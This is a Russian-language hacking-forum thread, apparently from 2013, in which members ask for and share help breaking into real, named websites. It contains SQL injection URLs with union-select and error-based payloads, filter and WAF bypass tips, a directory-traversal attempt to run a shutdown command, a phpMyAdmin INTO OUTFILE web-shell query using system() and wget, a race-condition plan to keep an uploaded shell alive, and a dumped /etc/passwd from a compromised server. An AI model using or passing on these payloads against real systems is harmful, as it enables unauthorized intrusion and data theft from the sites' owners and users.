Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Ganz Euler

    Ganz Euler Member

    Joined:
    7 Oct 2013
    Messages:
    50
    Likes Received:
    13
    Reputations:
    10
    Неправильно написал я немного, но по сути верно всё.

    PHP:
    <?php
    $login
    ="\' union select 1,2-- ";  //$_GET['login']
    $login str_replace("'""\'"$login);
    echo 
    $login//sql_query...
    ?>
    Code:
    sergey@notebook $ php test.php 
    \\' union select 1,2-- 
    Т.е. запрос SELECT id, user_name FROM users WHERE user_login = '\\' union select 1,2-- '

    С точки зрения PHP правильно было бы написать мне тогда
    PHP:
    $login="\\\\' union select 1,2-- ";
    , я же написал значение переменной по факту.
     
    2 people like this.
  2. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    Да, действительно верно, не обратил изначально внимание на сторону php :) В общем, чтобы запрос сработал, автору нужно в логин отправить \' и далее подставить сам запрос.
     
    1 person likes this.
  3. andrxx

    andrxx Banned

    Joined:
    7 Nov 2013
    Messages:
    51
    Likes Received:
    6
    Reputations:
    0
    нужна помощь ) тут есть скуль? у меня не получается раскрутить =\

     
    #22743 andrxx, 18 Nov 2013
    Last edited: 18 Nov 2013
  4. HeaVeNSeR

    HeaVeNSeR Member

    Joined:
    3 Dec 2008
    Messages:
    176
    Likes Received:
    11
    Reputations:
    1
    ребят,хелп

    в админке одной CMS есть такой аплоад файлов:
    Code:
    if ($input->p['do'] == "install") {
    	if ($settings['demo'] == "yes") {
    		$error_msg = "This is not possible in demo version";
    	}
    	else {
    		if ($input->p['sesion_id'] != $_SESSION['sesion_id']) {
    			$error_msg = "Invalid token try again please";
    		}
    		else {
    			if ($_FILES['file']['type'] != "text/xml") {
    				$error_msg = "Invalid File";
    			}
    			else {
    				if (0 < $_FILES['file']['error']) {
    					$error_msg = "Invalid File";
    				}
    				else {
    					move_uploaded_file($_FILES['file']['tmp_name'], "../upload/" . $_FILES['file']['name']);
    					$doc = new DOMDocument();
    					$doc->load("../upload/" . $_FILES['file']['name']);
    					$langnames = $doc->getElementsByTagName("name");
    					$langname = $langnames->item(0)->nodeValue;
    					$langversions = $doc->getElementsByTagName("ptcevolution");
    					$langversion = $langversions->item(0)->nodeValue;
    					$langfiles = $doc->getElementsByTagName("filename");
    					$langfile = $langfiles->item(0)->nodeValue;
    
    					if ((empty($$langname) || empty($$langversion)) || empty($$langfile)) {
    						$error_msg = "Invalid File";
    					}
    					else {
    						if ($langversion != $software['version']) {
    							$error_msg = $langname . " is not configured for PTCEvolution " . $software['version'];
    						}
    						else {
    							$verifylang = $db->fetchOne(("SELECT COUNT(*) AS NUM FROM language WHERE name='" . $langname . "' and version='" . $software['version'] . "'"));
    
    							if ($verifylang == 0) {
    								$datastored = array("name" => $langname, "version" => $langversion, "filename" => $langfile);
    								$insert = $db->insert("language", $datastored);
    								$success_msg = $langname . "  was sucessfully installed! <a href=\"./?view=language_settings\">Click here to manage installed languages</a>";
    							}
    							else {
    								$error_msg = $langname . " is already installed on this site.";
    							}
    						}
    					}
    
    					unlink("../upload/" . $_FILES['file']['name']);
    				}
    			}
    		}
    	}
    }
    
    
    то есть,если зайти под админом,подменить Content-type на text/xml и попробывать залить shell.php - он зальется в папку upload
    Code:
    move_uploaded_file($_FILES['file']['tmp_name'], "../upload/" . $_FILES['file']['name']);
    но тут же удалится
    Code:
    unlink("../upload/" . $_FILES['file']['name']);
    есть ли возможность задержать файл в папке /upload/ или же успеть выполнить код?
     
    #22744 HeaVeNSeR, 19 Nov 2013
    Last edited: 19 Nov 2013
  5. -=Cerberus=-

    -=Cerberus=- κρυπτός γράφω

    Joined:
    29 Apr 2012
    Messages:
    1,321
    Likes Received:
    929
    Reputations:
    391
    HeaVeNSeR

    может попробывать, написать скрипт который нонстоп будет лить шел на сервер, а ты в браузере нонстоп будешь дергать шелл.

    :) расскажешь потом получилось или нет)
     
  6. andrxx

    andrxx Banned

    Joined:
    7 Nov 2013
    Messages:
    51
    Likes Received:
    6
    Reputations:
    0
    други помогите скуль докрутить, кое как обошел фильтры не могу теперь имена таблиц и юзеров вывести
     
  7. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Обходится следующим способом:

    Дальше сам.
     
  8. ex'pert

    ex'pert New Member

    Joined:
    28 May 2011
    Messages:
    19
    Likes Received:
    3
    Reputations:
    -3
    Доброго времени суток,
    есть сайт с возможностью просмотреть файлы из виндоувс папки, (Directory traversal vuln) например:
    Code:
    ?action=../../../../../../../../../../windows/System.ini%00.jpg
    Вопрос можно ли выполнить запрос к командной строке? например послать команду выключения.. пробывал так:
    Code:
      action=../../../../../../../../../../windows/system32/cmd.exe-shutdown%20-t%200%00.jpg
    непомогло. помогите разобратся(
     
  9. chado

    chado New Member

    Joined:
    17 Sep 2013
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    phpmyadmin

    Пускает в админку phpmyadmin под любым логином, но после выполнения SQL запроса выдает:
    Code:
    Ответ MySQL: Документация
    #1142 - SELECT command denied to user ''@'localhost' for table 'pma_bookmark' 
    При этом средствами phpmaydmin я могу создавать в таблице ячейки, менять их значение. Как нибудь можно повысить себе привилегии или залить шелл?

    В ответ на
    Code:
    SELECT  '<?php system($_REQUEST["wget http://yandex.ru/robots.txt -O /usr/www/site/wwwfiles/phpmyadmin/s.php"); ?>'
    FROM test
    INTO OUTFILE  '/usr/www/site/wwwfiles/phpmyadmin/s.php'
    выдает:
    Code:
    Ответ MySQL: Документация
    #1045 - Access denied for user ''@'localhost' (using password: NO) 
    Также есть уязвимость в phpmyadmin/export.php?what=sql, открывает sql.php в той же директории. Но при попытке выйти за пределы директории командой ../../../sql, открывает тот же файл. Две точки превращает в ./
     
  10. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    172
    Reputations:
    75
    врятли ты как-то права сможешь повысить, а чё, сменить пасс админки через phpmyadmin и залится ам - не вариант?
     
  11. chado

    chado New Member

    Joined:
    17 Sep 2013
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Я походу вообще без прав в phpmyadmin. information_schema даже читать не могу, изменения могу вносить только в таблицу test. Думал может можно через изменение этой таблицы что нибудь да залить)
     
  12. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    373
    Likes Received:
    164
    Reputations:
    126
    Кто нибудь обходил waf хостинга hostgator.com на связку union select ?
     
    _________________________
  13. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,403
    Likes Received:
    883
    Reputations:
    859
    Вылажите ссылку уязвимую сего хостинга, а потестив люди скажут, что да как...
     
    _________________________
  14. chado

    chado New Member

    Joined:
    17 Sep 2013
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    С помощью LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test вывел содержимое в таблицу:
    Code:
    "# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.4.1 2010/06/14 02:09:06 kensmith Exp $",
    "#",
    "root:*:0:0:Charlie &:/root:/bin/csh",
    "toor:*:0:0:Bourne-again Superuser:/root:",
    "daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin",
    "operator:*:2:5:System &:/:/usr/sbin/nologin",
    "bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin",
    "tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin",
    "kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin",
    "games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin",
    "news:*:8:8:News Subsystem:/:/usr/sbin/nologin",
    "man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin",
    "sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin",
    "smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin",
    "mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin",
    "bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin",
    "proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin",
    "_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin",
    "_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin",
    "uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico",
    "pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin",
    "www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin",
    "nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin",
    "zeus:*:1001:0:User &:/home/zeus:/bin/csh",
    "mysql:*:1002:1001:User &:/home/mysql:/bin/sh",
    "foux:*:1003:1003:User &:/home/foux:/bin/sh",
    "freeradius:*:1004:1004:User &:/home/freeradius:/bin/sh",
    "natusik:*:1005:1005:User &:/usr/www/natusik:/bin/csh",
    "roman:*:1006:1006:User &:/usr/www/romankom.ru:/bin/csh",
    "roman1:*:1007:1007:User &:/usr/www/kisika.ru:/bin/csh",
    "misha:*:1008:0:Mihail Tihomirov:/home/misha:/bin/csh",
    Собственно вопрос, где искать пароли? * означает любой пароль? И что я смогу сделать дальше, ftp порт закрыт, mysql порт открыт но не дает соединиться с моего IP. В config.inc.php в папке \phpmyadmin\:
    Code:
    "$cfg['Servers'][$i]['host']          = 'localhost'; // MySQL hostname or IP address",
    "$cfg['Servers'][$i]['port']          = '';          // MySQL port - leave blank for default port",
    "$cfg['Servers'][$i]['socket']        = '';          // Path to the socket - leave blank for default socket",
    "$cfg['Servers'][$i]['connect_type']  = 'tcp';       // How to connect to MySQL server ('tcp' or 'socket')",
    "$cfg['Servers'][$i]['extension']     = 'mysql';     // The php MySQL extension to use ('mysql' or 'mysqli')",
    "$cfg['Servers'][$i]['compress']      = FALSE;       // Use compressed protocol for the MySQL connection",
    "                                                    // (requires PHP >= 4.3.0)",
    "$cfg['Servers'][$i]['controluser']   = '';          // MySQL control user settings",
    "                                                    // (this user must have read-only",
    "$cfg['Servers'][$i]['controlpass']   = '';          // access to the ""mysql/user""",
    "                                                    // and ""mysql/db"" tables).",
    "                                                    // The controluser is also",
    "                                                    // used for all relational",
    "                                                    // features (pmadb)",
    "$cfg['Servers'][$i]['auth_type']     = 'http';    // Authentication method (config, http or cookie based)?",
    "$cfg['Servers'][$i]['user']          = 'root';      // MySQL user",
    "$cfg['Servers'][$i]['password']      = '';          // MySQL password (only needed",
    "                                                    // with 'config' auth_type)",
     
  15. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    373
    Likes Received:
    164
    Reputations:
    126
    http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+order+by+6--+f
     
    _________________________
  16. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,788
    Likes Received:
    872
    Reputations:
    859
    Итак, что у нас фильтруется:

    1) Скобки;
    2) Знак равенства;
    3) Выполнение кода в комментариях /*! */ (хотя тут не совсем так)
    4) &&

    Не фильтрует and, or

    Легитимные запросы

    http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+||+1%3E1+--+

    http://www.radioaliancadafe.com/home.php?opradio=Pr.Patrick&d=Interna&Key=20'+and+2%3E1+--+

    Копаю дальше.
     
    _________________________
  17. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Что касается Вашего первого поста. Фильтр на связку union select можно обойти следующим способом:
    Но до раскрутки еще далеко, вырезаюся запятые. Данный фильтр обходится созданием таблицы с помощью join:
    Но далее видим, что фильтруются парные скобки (), так что ничего полезного взять с этого с сайта не получится.
     
  18. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Не выкручивается, хоть ты тресни
    Code:
    http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=-403+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+--+
     
  19. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,788
    Likes Received:
    872
    Reputations:
    859
    Тут блайнд везде. Вывод тоже не смог добиться

    http://www.bch5.ru/index.phtml?topparam=22&prod_id=16264+and+1=2+union+select+111,222,333+--+

    http://www.bch5.ru/index.phtml?topparam=20&scat=404&cat=40+and+1=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+--+
     
    _________________________
  20. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Code:
    http://www.bch5.ru/index.phtml?topparam=20&cat=40&scat=403%20and%20(1,1)%3E(select%20count(*),concat((select%20version()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
    Duplicate entry '4.1.25-log:0' - самая калечная версия
     
Loading...
Thread Status:
Not open for further replies.